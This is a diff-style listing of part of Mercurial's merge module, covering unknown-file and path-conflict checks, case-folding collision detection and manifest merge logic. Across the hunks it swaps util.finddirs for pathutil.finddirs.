758 759 config = repo.ui.config(section, name)
759 760 valid = [b'abort', b'ignore', b'warn']
760 761 if config not in valid:
761 762 validstr = b', '.join([b"'" + v + b"'" for v in valid])
762 763 raise error.ConfigError(
763 764 _(b"%s.%s not valid ('%s' is none of %s)")
764 765 % (section, name, config, validstr)
765 766 )
766 767 return config
767 768
768 769
769 770 def _checkunknownfile(repo, wctx, mctx, f, f2=None):
770 771 if wctx.isinmemory():
771 772 # Nothing to do in IMM because nothing in the "working copy" can be an
772 773 # unknown file.
773 774 #
774 775 # Note that we should bail out here, not in ``_checkunknownfiles()``,
775 776 # because that function does other useful work.
776 777 return False
777 778
778 779 if f2 is None:
779 780 f2 = f
780 781 return (
781 782 repo.wvfs.audit.check(f)
782 783 and repo.wvfs.isfileorlink(f)
783 784 and repo.dirstate.normalize(f) not in repo.dirstate
784 785 and mctx[f2].cmp(wctx[f])
785 786 )
786 787
787 788
788 789 class _unknowndirschecker(object):
789 790 """
790 791 Look for any unknown files or directories that may have a path conflict
791 792 with a file. If any path prefix of the file exists as a file or link,
792 793 then it conflicts. If the file itself is a directory that contains any
793 794 file that is not tracked, then it conflicts.
794 795
795 796 Returns the shortest path at which a conflict occurs, or None if there is
796 797 no conflict.
797 798 """
798 799
799 800 def __init__(self):
800 801 # A set of paths known to be good. This prevents repeated checking of
801 802 # dirs. It will be updated with any new dirs that are checked and found
802 803 # to be safe.
803 804 self._unknowndircache = set()
804 805
805 806 # A set of paths that are known to be absent. This prevents repeated
806 807 # checking of subdirectories that are known not to exist. It will be
807 808 # updated with any new dirs that are checked and found to be absent.
808 809 self._missingdircache = set()
809 810
810 811 def __call__(self, repo, wctx, f):
811 812 if wctx.isinmemory():
812 813 # Nothing to do in IMM for the same reason as ``_checkunknownfile``.
813 814 return False
814 815
815 816 # Check for path prefixes that exist as unknown files.
816 for p in reversed(list(util.finddirs(f))):
817 for p in reversed(list(pathutil.finddirs(f))):
817 818 if p in self._missingdircache:
818 819 return
819 820 if p in self._unknowndircache:
820 821 continue
821 822 if repo.wvfs.audit.check(p):
822 823 if (
823 824 repo.wvfs.isfileorlink(p)
824 825 and repo.dirstate.normalize(p) not in repo.dirstate
825 826 ):
826 827 return p
827 828 if not repo.wvfs.lexists(p):
828 829 self._missingdircache.add(p)
829 830 return
830 831 self._unknowndircache.add(p)
831 832
832 833 # Check if the file conflicts with a directory containing unknown files.
833 834 if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
834 835 # Does the directory contain any files that are not in the dirstate?
835 836 for p, dirs, files in repo.wvfs.walk(f):
836 837 for fn in files:
837 838 relf = util.pconvert(repo.wvfs.reljoin(p, fn))
838 839 relf = repo.dirstate.normalize(relf, isknown=True)
839 840 if relf not in repo.dirstate:
840 841 return f
841 842 return None
842 843
843 844
844 845 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
845 846 """
846 847 Considers any actions that care about the presence of conflicting unknown
847 848 files. For some actions, the result is to abort; for others, it is to
848 849 choose a different action.
849 850 """
850 851 fileconflicts = set()
851 852 pathconflicts = set()
852 853 warnconflicts = set()
853 854 abortconflicts = set()
854 855 unknownconfig = _getcheckunknownconfig(repo, b'merge', b'checkunknown')
855 856 ignoredconfig = _getcheckunknownconfig(repo, b'merge', b'checkignored')
856 857 pathconfig = repo.ui.configbool(
857 858 b'experimental', b'merge.checkpathconflicts'
858 859 )
859 860 if not force:
860 861
861 862 def collectconflicts(conflicts, config):
862 863 if config == b'abort':
863 864 abortconflicts.update(conflicts)
864 865 elif config == b'warn':
865 866 warnconflicts.update(conflicts)
866 867
867 868 checkunknowndirs = _unknowndirschecker()
868 869 for f, (m, args, msg) in pycompat.iteritems(actions):
869 870 if m in (ACTION_CREATED, ACTION_DELETED_CHANGED):
870 871 if _checkunknownfile(repo, wctx, mctx, f):
871 872 fileconflicts.add(f)
872 873 elif pathconfig and f not in wctx:
873 874 path = checkunknowndirs(repo, wctx, f)
874 875 if path is not None:
875 876 pathconflicts.add(path)
876 877 elif m == ACTION_LOCAL_DIR_RENAME_GET:
877 878 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
878 879 fileconflicts.add(f)
879 880
880 881 allconflicts = fileconflicts | pathconflicts
881 882 ignoredconflicts = {c for c in allconflicts if repo.dirstate._ignore(c)}
882 883 unknownconflicts = allconflicts - ignoredconflicts
883 884 collectconflicts(ignoredconflicts, ignoredconfig)
884 885 collectconflicts(unknownconflicts, unknownconfig)
885 886 else:
886 887 for f, (m, args, msg) in pycompat.iteritems(actions):
887 888 if m == ACTION_CREATED_MERGE:
888 889 fl2, anc = args
889 890 different = _checkunknownfile(repo, wctx, mctx, f)
890 891 if repo.dirstate._ignore(f):
891 892 config = ignoredconfig
892 893 else:
893 894 config = unknownconfig
894 895
895 896 # The behavior when force is True is described by this table:
896 897 # config different mergeforce | action backup
897 898 # * n * | get n
898 899 # * y y | merge -
899 900 # abort y n | merge - (1)
900 901 # warn y n | warn + get y
901 902 # ignore y n | get y
902 903 #
903 904 # (1) this is probably the wrong behavior here -- we should
904 905 # probably abort, but some actions like rebases currently
905 906 # don't like an abort happening in the middle of
906 907 # merge.update.
907 908 if not different:
908 909 actions[f] = (ACTION_GET, (fl2, False), b'remote created')
909 910 elif mergeforce or config == b'abort':
910 911 actions[f] = (
911 912 ACTION_MERGE,
912 913 (f, f, None, False, anc),
913 914 b'remote differs from untracked local',
914 915 )
915 916 elif config == b'abort':
916 917 abortconflicts.add(f)
917 918 else:
918 919 if config == b'warn':
919 920 warnconflicts.add(f)
920 921 actions[f] = (ACTION_GET, (fl2, True), b'remote created')
921 922
922 923 for f in sorted(abortconflicts):
923 924 warn = repo.ui.warn
924 925 if f in pathconflicts:
925 926 if repo.wvfs.isfileorlink(f):
926 927 warn(_(b"%s: untracked file conflicts with directory\n") % f)
927 928 else:
928 929 warn(_(b"%s: untracked directory conflicts with file\n") % f)
929 930 else:
930 931 warn(_(b"%s: untracked file differs\n") % f)
931 932 if abortconflicts:
932 933 raise error.Abort(
933 934 _(
934 935 b"untracked files in working directory "
935 936 b"differ from files in requested revision"
936 937 )
937 938 )
938 939
939 940 for f in sorted(warnconflicts):
940 941 if repo.wvfs.isfileorlink(f):
941 942 repo.ui.warn(_(b"%s: replacing untracked file\n") % f)
942 943 else:
943 944 repo.ui.warn(_(b"%s: replacing untracked files in directory\n") % f)
944 945
945 946 for f, (m, args, msg) in pycompat.iteritems(actions):
946 947 if m == ACTION_CREATED:
947 948 backup = (
948 949 f in fileconflicts
949 950 or f in pathconflicts
950 or any(p in pathconflicts for p in util.finddirs(f))
951 or any(p in pathconflicts for p in pathutil.finddirs(f))
951 952 )
952 953 (flags,) = args
953 954 actions[f] = (ACTION_GET, (flags, backup), msg)
954 955
955 956
956 957 def _forgetremoved(wctx, mctx, branchmerge):
957 958 """
958 959 Forget removed files
959 960
960 961 If we're jumping between revisions (as opposed to merging), and if
961 962 neither the working directory nor the target rev has the file,
962 963 then we need to remove it from the dirstate, to prevent the
963 964 dirstate from listing the file when it is no longer in the
964 965 manifest.
965 966
966 967 If we're merging, and the other revision has removed a file
967 968 that is not present in the working directory, we need to mark it
968 969 as removed.
969 970 """
970 971
971 972 actions = {}
972 973 m = ACTION_FORGET
973 974 if branchmerge:
974 975 m = ACTION_REMOVE
975 976 for f in wctx.deleted():
976 977 if f not in mctx:
977 978 actions[f] = m, None, b"forget deleted"
978 979
979 980 if not branchmerge:
980 981 for f in wctx.removed():
981 982 if f not in mctx:
982 983 actions[f] = ACTION_FORGET, None, b"forget removed"
983 984
984 985 return actions
985 986
986 987
987 988 def _checkcollision(repo, wmf, actions):
988 989 """
989 990 Check for case-folding collisions.
990 991 """
991 992
992 993 # If the repo is narrowed, filter out files outside the narrowspec.
993 994 narrowmatch = repo.narrowmatch()
994 995 if not narrowmatch.always():
995 996 wmf = wmf.matches(narrowmatch)
996 997 if actions:
997 998 narrowactions = {}
998 999 for m, actionsfortype in pycompat.iteritems(actions):
999 1000 narrowactions[m] = []
1000 1001 for (f, args, msg) in actionsfortype:
1001 1002 if narrowmatch(f):
1002 1003 narrowactions[m].append((f, args, msg))
1003 1004 actions = narrowactions
1004 1005
1005 1006 # build provisional merged manifest up
1006 1007 pmmf = set(wmf)
1007 1008
1008 1009 if actions:
1009 1010 # KEEP and EXEC are no-op
1010 1011 for m in (
1011 1012 ACTION_ADD,
1012 1013 ACTION_ADD_MODIFIED,
1013 1014 ACTION_FORGET,
1014 1015 ACTION_GET,
1015 1016 ACTION_CHANGED_DELETED,
1016 1017 ACTION_DELETED_CHANGED,
1017 1018 ):
1018 1019 for f, args, msg in actions[m]:
1019 1020 pmmf.add(f)
1020 1021 for f, args, msg in actions[ACTION_REMOVE]:
1021 1022 pmmf.discard(f)
1022 1023 for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
1023 1024 f2, flags = args
1024 1025 pmmf.discard(f2)
1025 1026 pmmf.add(f)
1026 1027 for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
1027 1028 pmmf.add(f)
1028 1029 for f, args, msg in actions[ACTION_MERGE]:
1029 1030 f1, f2, fa, move, anc = args
1030 1031 if move:
1031 1032 pmmf.discard(f1)
1032 1033 pmmf.add(f)
1033 1034
1034 1035 # check case-folding collision in provisional merged manifest
1035 1036 foldmap = {}
1036 1037 for f in pmmf:
1037 1038 fold = util.normcase(f)
1038 1039 if fold in foldmap:
1039 1040 raise error.Abort(
1040 1041 _(b"case-folding collision between %s and %s")
1041 1042 % (f, foldmap[fold])
1042 1043 )
1043 1044 foldmap[fold] = f
1044 1045
1045 1046 # check case-folding of directories
1046 1047 foldprefix = unfoldprefix = lastfull = b''
1047 1048 for fold, f in sorted(foldmap.items()):
1048 1049 if fold.startswith(foldprefix) and not f.startswith(unfoldprefix):
1049 1050 # the folded prefix matches but actual casing is different
1050 1051 raise error.Abort(
1051 1052 _(b"case-folding collision between %s and directory of %s")
1052 1053 % (lastfull, f)
1053 1054 )
1054 1055 foldprefix = fold + b'/'
1055 1056 unfoldprefix = f + b'/'
1056 1057 lastfull = f
1057 1058
1058 1059
1059 1060 def driverpreprocess(repo, ms, wctx, labels=None):
1060 1061 """run the preprocess step of the merge driver, if any
1061 1062
1062 1063 This is currently not implemented -- it's an extension point."""
1063 1064 return True
1064 1065
1065 1066
1066 1067 def driverconclude(repo, ms, wctx, labels=None):
1067 1068 """run the conclude step of the merge driver, if any
1068 1069
1069 1070 This is currently not implemented -- it's an extension point."""
1070 1071 return True
1071 1072
1072 1073
1073 1074 def _filesindirs(repo, manifest, dirs):
1074 1075 """
1075 1076 Generator that yields pairs of all the files in the manifest that are found
1076 1077 inside the directories listed in dirs, and which directory they are found
1077 1078 in.
1078 1079 """
1079 1080 for f in manifest:
1080 for p in util.finddirs(f):
1081 for p in pathutil.finddirs(f):
1081 1082 if p in dirs:
1082 1083 yield f, p
1083 1084 break
1084 1085
1085 1086
1086 1087 def checkpathconflicts(repo, wctx, mctx, actions):
1087 1088 """
1088 1089 Check if any actions introduce path conflicts in the repository, updating
1089 1090 actions to record or handle the path conflict accordingly.
1090 1091 """
1091 1092 mf = wctx.manifest()
1092 1093
1093 1094 # The set of local files that conflict with a remote directory.
1094 1095 localconflicts = set()
1095 1096
1096 1097 # The set of directories that conflict with a remote file, and so may cause
1097 1098 # conflicts if they still contain any files after the merge.
1098 1099 remoteconflicts = set()
1099 1100
1100 1101 # The set of directories that appear as both a file and a directory in the
1101 1102 # remote manifest. These indicate an invalid remote manifest, which
1102 1103 # can't be updated to cleanly.
1103 1104 invalidconflicts = set()
1104 1105
1105 1106 # The set of directories that contain files that are being created.
1106 1107 createdfiledirs = set()
1107 1108
1108 1109 # The set of files deleted by all the actions.
1109 1110 deletedfiles = set()
1110 1111
1111 1112 for f, (m, args, msg) in actions.items():
1112 1113 if m in (
1113 1114 ACTION_CREATED,
1114 1115 ACTION_DELETED_CHANGED,
1115 1116 ACTION_MERGE,
1116 1117 ACTION_CREATED_MERGE,
1117 1118 ):
1118 1119 # This action may create a new local file.
1119 createdfiledirs.update(util.finddirs(f))
1120 createdfiledirs.update(pathutil.finddirs(f))
1120 1121 if mf.hasdir(f):
1121 1122 # The file aliases a local directory. This might be ok if all
1122 1123 # the files in the local directory are being deleted. This
1123 1124 # will be checked once we know what all the deleted files are.
1124 1125 remoteconflicts.add(f)
1125 1126 # Track the names of all deleted files.
1126 1127 if m == ACTION_REMOVE:
1127 1128 deletedfiles.add(f)
1128 1129 if m == ACTION_MERGE:
1129 1130 f1, f2, fa, move, anc = args
1130 1131 if move:
1131 1132 deletedfiles.add(f1)
1132 1133 if m == ACTION_DIR_RENAME_MOVE_LOCAL:
1133 1134 f2, flags = args
1134 1135 deletedfiles.add(f2)
1135 1136
1136 1137 # Check all directories that contain created files for path conflicts.
1137 1138 for p in createdfiledirs:
1138 1139 if p in mf:
1139 1140 if p in mctx:
1140 1141 # A file is in a directory which aliases both a local
1141 1142 # and a remote file. This is an internal inconsistency
1142 1143 # within the remote manifest.
1143 1144 invalidconflicts.add(p)
1144 1145 else:
1145 1146 # A file is in a directory which aliases a local file.
1146 1147 # We will need to rename the local file.
1147 1148 localconflicts.add(p)
1148 1149 if p in actions and actions[p][0] in (
1149 1150 ACTION_CREATED,
1150 1151 ACTION_DELETED_CHANGED,
1151 1152 ACTION_MERGE,
1152 1153 ACTION_CREATED_MERGE,
1153 1154 ):
1154 1155 # The file is in a directory which aliases a remote file.
1155 1156 # This is an internal inconsistency within the remote
1156 1157 # manifest.
1157 1158 invalidconflicts.add(p)
1158 1159
1159 1160 # Rename all local conflicting files that have not been deleted.
1160 1161 for p in localconflicts:
1161 1162 if p not in deletedfiles:
1162 1163 ctxname = bytes(wctx).rstrip(b'+')
1163 1164 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
1164 1165 actions[pnew] = (
1165 1166 ACTION_PATH_CONFLICT_RESOLVE,
1166 1167 (p,),
1167 1168 b'local path conflict',
1168 1169 )
1169 1170 actions[p] = (ACTION_PATH_CONFLICT, (pnew, b'l'), b'path conflict')
1170 1171
1171 1172 if remoteconflicts:
1172 1173 # Check if all files in the conflicting directories have been removed.
1173 1174 ctxname = bytes(mctx).rstrip(b'+')
1174 1175 for f, p in _filesindirs(repo, mf, remoteconflicts):
1175 1176 if f not in deletedfiles:
1176 1177 m, args, msg = actions[p]
1177 1178 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
1178 1179 if m in (ACTION_DELETED_CHANGED, ACTION_MERGE):
1179 1180 # Action was merge, just update target.
1180 1181 actions[pnew] = (m, args, msg)
1181 1182 else:
1182 1183 # Action was create, change to renamed get action.
1183 1184 fl = args[0]
1184 1185 actions[pnew] = (
1185 1186 ACTION_LOCAL_DIR_RENAME_GET,
1186 1187 (p, fl),
1187 1188 b'remote path conflict',
1188 1189 )
1189 1190 actions[p] = (
1190 1191 ACTION_PATH_CONFLICT,
1191 1192 (pnew, ACTION_REMOVE),
1192 1193 b'path conflict',
1193 1194 )
1194 1195 remoteconflicts.remove(p)
1195 1196 break
1196 1197
1197 1198 if invalidconflicts:
1198 1199 for p in invalidconflicts:
1199 1200 repo.ui.warn(_(b"%s: is both a file and a directory\n") % p)
1200 1201 raise error.Abort(_(b"destination manifest contains path conflicts"))
1201 1202
1202 1203
1203 1204 def _filternarrowactions(narrowmatch, branchmerge, actions):
1204 1205 """
1205 1206 Filters out actions that can ignored because the repo is narrowed.
1206 1207
1207 1208 Raise an exception if the merge cannot be completed because the repo is
1208 1209 narrowed.
1209 1210 """
1210 1211 nooptypes = {b'k'} # TODO: handle with nonconflicttypes
1211 1212 nonconflicttypes = set(b'a am c cm f g r e'.split())
1212 1213 # We mutate the items in the dict during iteration, so iterate
1213 1214 # over a copy.
1214 1215 for f, action in list(actions.items()):
1215 1216 if narrowmatch(f):
1216 1217 pass
1217 1218 elif not branchmerge:
1218 1219 del actions[f] # just updating, ignore changes outside clone
1219 1220 elif action[0] in nooptypes:
1220 1221 del actions[f] # merge does not affect file
1221 1222 elif action[0] in nonconflicttypes:
1222 1223 raise error.Abort(
1223 1224 _(
1224 1225 b'merge affects file \'%s\' outside narrow, '
1225 1226 b'which is not yet supported'
1226 1227 )
1227 1228 % f,
1228 1229 hint=_(b'merging in the other direction may work'),
1229 1230 )
1230 1231 else:
1231 1232 raise error.Abort(
1232 1233 _(b'conflict in file \'%s\' is outside narrow clone') % f
1233 1234 )
1234 1235
1235 1236
1236 1237 def manifestmerge(
1237 1238 repo,
1238 1239 wctx,
1239 1240 p2,
1240 1241 pa,
1241 1242 branchmerge,
1242 1243 force,
1243 1244 matcher,
1244 1245 acceptremote,
1245 1246 followcopies,
1246 1247 forcefulldiff=False,
1247 1248 ):
1248 1249 """
1249 1250 Merge wctx and p2 with ancestor pa and generate merge action list
1250 1251
1251 1252 branchmerge and force are as passed in to update
1252 1253 matcher = matcher to filter file lists
1253 1254 acceptremote = accept the incoming changes without prompting
1254 1255 """
1255 1256 if matcher is not None and matcher.always():
1256 1257 matcher = None
1257 1258
1258 1259 copy, movewithdir, diverge, renamedelete, dirmove = {}, {}, {}, {}, {}
1259 1260
1260 1261 # manifests fetched in order are going to be faster, so prime the caches
1261 1262 [
1262 1263 x.manifest()
1263 1264 for x in sorted(wctx.parents() + [p2, pa], key=scmutil.intrev)
1264 1265 ]
1265 1266
1266 1267 if followcopies:
1267 1268 ret = copies.mergecopies(repo, wctx, p2, pa)
1268 1269 copy, movewithdir, diverge, renamedelete, dirmove = ret
1269 1270
1270 1271 boolbm = pycompat.bytestr(bool(branchmerge))
1271 1272 boolf = pycompat.bytestr(bool(force))
1272 1273 boolm = pycompat.bytestr(bool(matcher))
1273 1274 repo.ui.note(_(b"resolving manifests\n"))
1274 1275 repo.ui.debug(
1275 1276 b" branchmerge: %s, force: %s, partial: %s\n" % (boolbm, boolf, boolm)
1276 1277 )
1277 1278 repo.ui.debug(b" ancestor: %s, local: %s, remote: %s\n" % (pa, wctx, p2))
1278 1279
1279 1280 m1, m2, ma = wctx.manifest(), p2.manifest(), pa.manifest()
1280 1281 copied = set(copy.values())
1281 1282 copied.update(movewithdir.values())
1282 1283
1283 1284 if b'.hgsubstate' in m1 and wctx.rev() is None:
1284 1285 # Check whether sub state is modified, and overwrite the manifest
1285 1286 # to flag the change. If wctx is a committed revision, we shouldn't
1286 1287 # care for the dirty state of the working directory.
1287 1288 if any(wctx.sub(s).dirty() for s in wctx.substate):
1288 1289 m1[b'.hgsubstate'] = modifiednodeid
1289 1290
1290 1291 # Don't use m2-vs-ma optimization if:
1291 1292 # - ma is the same as m1 or m2, which we're just going to diff again later
1292 1293 # - The caller specifically asks for a full diff, which is useful during bid
1293 1294 # merge.
1294 1295 if pa not in ([wctx, p2] + wctx.parents()) and not forcefulldiff:
1295 1296 # Identify which files are relevant to the merge, so we can limit the
1296 1297 # total m1-vs-m2 diff to just those files. This has significant
1297 1298 # performance benefits in large repositories.
1298 1299 relevantfiles = set(ma.diff(m2).keys())
1299 1300
1300 1301 # For copied and moved files, we need to add the source file too.
1301 1302 for copykey, copyvalue in pycompat.iteritems(copy):
1302 1303 if copyvalue in relevantfiles:
1303 1304 relevantfiles.add(copykey)
1304 1305 for movedirkey in movewithdir:
1305 1306 relevantfiles.add(movedirkey)
1306 1307 filesmatcher = scmutil.matchfiles(repo, relevantfiles)
1307 1308 matcher = matchmod.intersectmatchers(matcher, filesmatcher)
1308 1309
1309 1310 diff = m1.diff(m2, match=matcher)
1310 1311
1311 1312 actions = {}
1312 1313 for f, ((n1, fl1), (n2, fl2)) in pycompat.iteritems(diff):
1313 1314 if n1 and n2: # file exists on both local and remote side
1314 1315 if f not in ma:
1315 1316 fa = copy.get(f, None)
1316 1317 if fa is not None:
1317 1318 actions[f] = (
1318 1319 ACTION_MERGE,
1319 1320 (f, f, fa, False, pa.node()),
1320 1321 b'both renamed from %s' % fa,
1321 1322 )
1322 1323 else:
1323 1324 actions[f] = (
1324 1325 ACTION_MERGE,
1325 1326 (f, f, None, False, pa.node()),
1326 1327 b'both created',
1327 1328 )
1328 1329 else:
1329 1330 a = ma[f]
1330 1331 fla = ma.flags(f)
1331 1332 nol = b'l' not in fl1 + fl2 + fla
1332 1333 if n2 == a and fl2 == fla:
1333 1334 actions[f] = (ACTION_KEEP, (), b'remote unchanged')
1334 1335 elif n1 == a and fl1 == fla: # local unchanged - use remote
1335 1336 if n1 == n2: # optimization: keep local content
1336 1337 actions[f] = (
1337 1338 ACTION_EXEC,
1338 1339 (fl2,),
1339 1340 b'update permissions',
1340 1341 )
1341 1342 else:
1342 1343 actions[f] = (
1343 1344 ACTION_GET,
1344 1345 (fl2, False),
1345 1346 b'remote is newer',
1346 1347 )
1347 1348 elif nol and n2 == a: # remote only changed 'x'
1348 1349 actions[f] = (ACTION_EXEC, (fl2,), b'update permissions')
1349 1350 elif nol and n1 == a: # local only changed 'x'
1350 1351 actions[f] = (ACTION_GET, (fl1, False), b'remote is newer')
1351 1352 else: # both changed something
1352 1353 actions[f] = (
1353 1354 ACTION_MERGE,
1354 1355 (f, f, f, False, pa.node()),
1355 1356 b'versions differ',
1356 1357 )
1357 1358 elif n1: # file exists only on local side
1358 1359 if f in copied:
1359 1360 pass # we'll deal with it on m2 side
1360 1361 elif f in movewithdir: # directory rename, move local
1361 1362 f2 = movewithdir[f]
1362 1363 if f2 in m2:
1363 1364 actions[f2] = (
1364 1365 ACTION_MERGE,
1365 1366 (f, f2, None, True, pa.node()),
1366 1367 b'remote directory rename, both created',
1367 1368 )
1368 1369 else:
1369 1370 actions[f2] = (
1370 1371 ACTION_DIR_RENAME_MOVE_LOCAL,
1371 1372 (f, fl1),
1372 1373 b'remote directory rename - move from %s' % f,
1373 1374 )
1374 1375 elif f in copy:
1375 1376 f2 = copy[f]
1376 1377 actions[f] = (
1377 1378 ACTION_MERGE,
1378 1379 (f, f2, f2, False, pa.node()),
1379 1380 b'local copied/moved from %s' % f2,
1380 1381 )
1381 1382 elif f in ma: # clean, a different, no remote
1382 1383 if n1 != ma[f]:
1383 1384 if acceptremote:
1384 1385 actions[f] = (ACTION_REMOVE, None, b'remote delete')
1385 1386 else:
1386 1387 actions[f] = (
1387 1388 ACTION_CHANGED_DELETED,
1388 1389 (f, None, f, False, pa.node()),
1389 1390 b'prompt changed/deleted',
1390 1391 )
1391 1392 elif n1 == addednodeid:
1392 1393 # This extra 'a' is added by working copy manifest to mark
1393 1394 # the file as locally added. We should forget it instead of
1394 1395 # deleting it.
1395 1396 actions[f] = (ACTION_FORGET, None, b'remote deleted')
1396 1397 else:
1397 1398 actions[f] = (ACTION_REMOVE, None, b'other deleted')
1398 1399 elif n2: # file exists only on remote side
1399 1400 if f in copied:
1400 1401 pass # we'll deal with it on m1 side
1401 1402 elif f in movewithdir:
1402 1403 f2 = movewithdir[f]
1403 1404 if f2 in m1:
1404 1405 actions[f2] = (
1405 1406 ACTION_MERGE,
1406 1407 (f2, f, None, False, pa.node()),
1407 1408 b'local directory rename, both created',
1408 1409 )
1409 1410 else:
1410 1411 actions[f2] = (
1411 1412 ACTION_LOCAL_DIR_RENAME_GET,
1412 1413 (f, fl2),
1413 1414 b'local directory rename - get from %s' % f,
1414 1415 )
1415 1416 elif f in copy:
1416 1417 f2 = copy[f]
1417 1418 if f2 in m2:
1418 1419 actions[f] = (
1419 1420 ACTION_MERGE,
1420 1421 (f2, f, f2, False, pa.node()),
1421 1422 b'remote copied from %s' % f2,
1422 1423 )
1423 1424 else:
1424 1425 actions[f] = (
1425 1426 ACTION_MERGE,
1426 1427 (f2, f, f2, True, pa.node()),
1427 1428 b'remote moved from %s' % f2,
1428 1429 )
1429 1430 elif f not in ma:
1430 1431 # local unknown, remote created: the logic is described by the
1431 1432 # following table:
1432 1433 #
1433 1434 # force branchmerge different | action
1434 1435 # n * * | create
1435 1436 # y n * | create
1436 1437 # y y n | create
1437 1438 # y y y | merge
1438 1439 #
1439 1440 # Checking whether the files are different is expensive, so we
1440 1441 # don't do that when we can avoid it.
1441 1442 if not force:
1442 1443 actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
1443 1444 elif not branchmerge:
1444 1445 actions[f] = (ACTION_CREATED, (fl2,), b'remote created')
1445 1446 else:
1446 1447 actions[f] = (
1447 1448 ACTION_CREATED_MERGE,
1448 1449 (fl2, pa.node()),
1449 1450 b'remote created, get or merge',
1450 1451 )
1451 1452 elif n2 != ma[f]:
1452 1453 df = None
1453 1454 for d in dirmove:
1454 1455 if f.startswith(d):
1455 1456 # new file added in a directory that was moved
1456 1457 df = dirmove[d] + f[len(d) :]
1457 1458 break
1458 1459 if df is not None and df in m1:
1459 1460 actions[df] = (
1460 1461 ACTION_MERGE,
1461 1462 (df, f, f, False, pa.node()),
1462 1463 b'local directory rename - respect move '
1463 1464 b'from %s' % f,
1464 1465 )
1465 1466 elif acceptremote:
1466 1467 actions[f] = (ACTION_CREATED, (fl2,), b'remote recreating')
1467 1468 else:
1468 1469 actions[f] = (
1469 1470 ACTION_DELETED_CHANGED,
1470 1471 (None, f, f, False, pa.node()),
1471 1472 b'prompt deleted/changed',
1472 1473 )
1473 1474
1474 1475 if repo.ui.configbool(b'experimental', b'merge.checkpathconflicts'):
1475 1476 # If we are merging, look for path conflicts.
1476 1477 checkpathconflicts(repo, wctx, p2, actions)
1477 1478
1478 1479 narrowmatch = repo.narrowmatch()
1479 1480 if not narrowmatch.always():
1480 1481 # Updates "actions" in place
1481 1482 _filternarrowactions(narrowmatch, branchmerge, actions)
1482 1483
1483 1484 return actions, diverge, renamedelete
1484 1485
1485 1486
1486 1487 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
1487 1488 """Resolves false conflicts where the nodeid changed but the content
1488 1489 remained the same."""
1489 1490 # We force a copy of actions.items() because we're going to mutate
1490 1491 # actions as we resolve trivial conflicts.
1491 1492 for f, (m, args, msg) in list(actions.items()):
1492 1493 if (
1493 1494 m == ACTION_CHANGED_DELETED
1494 1495 and f in ancestor
1495 1496 and not wctx[f].cmp(ancestor[f])
1496 1497 ):
1497 1498 # local did change but ended up with same content
1498 1499 actions[f] = ACTION_REMOVE, None, b'prompt same'
1499 1500 elif (
1500 1501 m == ACTION_DELETED_CHANGED
1501 1502 and f in ancestor
1502 1503 and not mctx[f].cmp(ancestor[f])
1503 1504 ):
1504 1505 # remote did change but ended up with same content
1505 1506 del actions[f] # don't get = keep local deleted
1506 1507
1507 1508
1508 1509 def calculateupdates(
1509 1510 repo,
1510 1511 wctx,
1511 1512 mctx,
1512 1513 ancestors,
1513 1514 branchmerge,
1514 1515 force,
1515 1516 acceptremote,
1516 1517 followcopies,
1517 1518 matcher=None,
1518 1519 mergeforce=False,
1519 1520 ):
1520 1521 """Calculate the actions needed to merge mctx into wctx using ancestors"""
1521 1522 # Avoid cycle.
1522 1523 from . import sparse
1523 1524
1524 1525 if len(ancestors) == 1: # default
1525 1526 actions, diverge, renamedelete = manifestmerge(
1526 1527 repo,
1527 1528 wctx,
1528 1529 mctx,
1529 1530 ancestors[0],
1530 1531 branchmerge,
1531 1532 force,
1532 1533 matcher,
1533 1534 acceptremote,
1534 1535 followcopies,
1535 1536 )
1536 1537 _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
1537 1538
1538 1539 else: # only when merge.preferancestor=* - the default
1539 1540 repo.ui.note(
1540 1541 _(b"note: merging %s and %s using bids from ancestors %s\n")
1541 1542 % (
1542 1543 wctx,
1543 1544 mctx,
1544 1545 _(b' and ').join(pycompat.bytestr(anc) for anc in ancestors),
1545 1546 )
1546 1547 )
1547 1548
1548 1549 # Call for bids
1549 1550 fbids = (
1550 1551 {}
1551 1552 ) # mapping filename to bids (action method to list af actions)
1552 1553 diverge, renamedelete = None, None
1553 1554 for ancestor in ancestors:
1554 1555 repo.ui.note(_(b'\ncalculating bids for ancestor %s\n') % ancestor)
1555 1556 actions, diverge1, renamedelete1 = manifestmerge(
1556 1557 repo,
1557 1558 wctx,
1558 1559 mctx,
1559 1560 ancestor,
1560 1561 branchmerge,
1561 1562 force,
1562 1563 matcher,
1563 1564 acceptremote,
1564 1565 followcopies,
1565 1566 forcefulldiff=True,
1566 1567 )
1567 1568 _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
1568 1569
1569 1570 # Track the shortest set of warning on the theory that bid
1570 1571 # merge will correctly incorporate more information
1571 1572 if diverge is None or len(diverge1) < len(diverge):
1572 1573 diverge = diverge1
1573 1574 if renamedelete is None or len(renamedelete) < len(renamedelete1):
1574 1575 renamedelete = renamedelete1
1575 1576
1576 1577 for f, a in sorted(pycompat.iteritems(actions)):
1577 1578 m, args, msg = a
1578 1579 repo.ui.debug(b' %s: %s -> %s\n' % (f, msg, m))
1579 1580 if f in fbids:
1580 1581 d = fbids[f]
1581 1582 if m in d:
1582 1583 d[m].append(a)
1583 1584 else:
1584 1585 d[m] = [a]
1585 1586 else:
1586 1587 fbids[f] = {m: [a]}
1587 1588
1588 1589 # Pick the best bid for each file
1589 1590 repo.ui.note(_(b'\nauction for merging merge bids\n'))
1590 1591 actions = {}
1591 1592 for f, bids in sorted(fbids.items()):
1592 1593 # bids is a mapping from action method to list af actions
1593 1594 # Consensus?
1594 1595 if len(bids) == 1: # all bids are the same kind of method
1595 1596 m, l = list(bids.items())[0]
1596 1597 if all(a == l[0] for a in l[1:]): # len(bids) is > 1
1597 1598 repo.ui.note(_(b" %s: consensus for %s\n") % (f, m))
1598 1599 actions[f] = l[0]
1599 1600 continue
1600 1601 # If keep is an option, just do it.
1601 1602 if ACTION_KEEP in bids:
1602 1603 repo.ui.note(_(b" %s: picking 'keep' action\n") % f)
1603 1604 actions[f] = bids[ACTION_KEEP][0]
1604 1605 continue
